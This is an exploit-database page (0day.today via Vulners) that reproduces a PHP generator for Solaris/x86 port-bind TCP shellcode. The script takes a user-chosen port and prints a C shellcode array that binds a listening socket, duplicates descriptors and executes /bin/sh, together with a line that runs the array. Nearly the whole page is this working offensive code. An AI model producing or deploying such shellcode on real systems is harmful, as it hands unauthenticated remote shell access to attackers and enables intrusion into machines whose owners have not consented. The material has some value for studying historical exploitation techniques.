Lucene search
K

solaris/x86 portbind/tcp shellcode generator

🗓️ 16 Jun 2009 00:00:00Reported by Jonathan SalwanType 
zdt
 zdt
🔗 0day.today👁 16 Views

solaris/x86 portbind/tcp shellcode generato

Code
============================================
solaris/x86 portbind/tcp shellcode generator 
============================================


<?php
/*
Utility	: Solaris/x86 - Generate PortBind/TCP shellcode
Author	: Jonathan Salwan
*/

function syntax()
	{
	echo "\nSyntax:\[email protected]:/# php ./payload.php <port>\n\n";
	}

function win32bind($port)
		{
		if($port > 65535 || $port < 4100){
			echo "Erreur Port\nSelect a port between 4100 and 65535\n";
			return false;
			}

		$inser .= "\nchar shellcode[] = \n";
		$inser .= "			/* BindPort TCP/$port; Os:Solaris; Gen:http://payload.shell-storm.org */\n";
		$inser .= "\n";

		$inser .= "			\x22\\xb8\\xff\\xf8\\xff\\x3c\\xf7\\xd0\\x50\\x31\\xc0\\xb0\\x9a\\x50\\x89\\xe5\\x31\\xc9\x22\n";
		$inser .= "			\x22\\x51\\x41\\x41\\x51\\x51\\xb0\\xe6\\xff\\xd5\\x31\\xd2\\x89\\xc7\\x52\\x66\\x68\x22\n";
		$inser .= "			\x22\\x";

		$res_port 	= base_convert($port, 10, 16);

		$length 	= strlen($res_port)-1;
		$i 		= 1;

		for($idx = 0; $idx < $length+1; $idx++)
		{
		$i++;
		if($i == 4)		
		$inser .= "\\x";

		$inser .= $res_port[$idx];
		}
		$inser .= "\x22 /* Port ".$port." */\n";
		$inser .= "			\x22\\x66\\x51\\x89\\xe6\\x6a\\x10\\x56\\x57\\xb0\\xe8\\xff\\xd5\\xb0\\xe9\\xff\\xd5\x22\n";
		$inser .= "			\x22\\x50\\x50\\x57\\xb0\\xea\\xff\\xd5\\x31\\xd2\\xb2\\x09\\x51\\x52\\x50\\xb0\\x3e\x22\n";
		$inser .= "			\x22\\xff\\xd5\\x49\\x79\\xf2\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\x22\n";
		$inser .= "			\x22\\x89\\xe3\\x50\\x53\\x89\\xe2\\x50\\x52\\x53\\xb0\\x3b\\xff\\xd5\x22\x3b\n";
		$inser .= "\n";
		$inser .= "	printf(\x22Length: %d\\n\x22,strlen(shellcode));\n";
		$inser .= "	(*(void(*)()) shellcode)();</br>";
		$inser .= "\n";
		$inser .= "\n";

	return $inser;
}

if($argc < 2){
	syntax();
	return false;
	}
		$port = $argv[1];
		echo win32bind($port);

?>


 

#  0day.today [2018-02-09]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

16 Jun 2009 00:00Current
7High risk
Vulners AI Score7
16